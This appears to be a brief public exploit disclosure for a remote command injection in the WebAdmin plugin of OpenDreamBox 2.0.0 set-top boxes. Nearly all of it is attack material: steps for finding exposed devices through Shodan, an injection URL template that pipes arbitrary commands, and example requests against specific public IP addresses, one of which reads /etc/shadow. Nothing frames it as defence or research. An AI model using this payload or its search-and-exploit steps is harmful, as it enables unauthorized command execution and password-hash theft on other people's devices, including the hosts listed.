OpenDreamBox 2.0.0 - Plugin WebAdmin RCE By Jonatas Fil [DKR] ------------------------------------------------------------------ Link: https://www.dreamboxupdate.com/opendreambox/2.0.0 ------------------------------------------------------------------ Vulnerabilty: Remote Command Execution via Command injection in Plugin WebAdmin. Tools: https://github.com/ninj4c0d3r/ShodanCli ---------------------------------------------------------------------------------------------------- p0c: - First, Search in Shodan: "DreamBox" 200 ok. (https://github.com/ninj4c0d3r/ShodanCli - My tool for search (need api) or https://www.shodan.io) - After, open the target and go to "Extra", wait a moment... - In plugins, if WebAdmin Plugin is installed [VULNERABLE]: Exploit : http://target.com:100000/webadmin/script?command=|YOUR_COMMAND ----------------------------------------------------------------------------------------------------- Examples: http://212.13.41.129:8081/webadmin/script?command=|uname -a http://80.108.24.154:8880/webadmin/script?command=|id http://62.224.234.221:8081/webadmin/script?command=|ls -la http://81.19.12.146:10000/webadmin/script?command=|cat /etc/shadow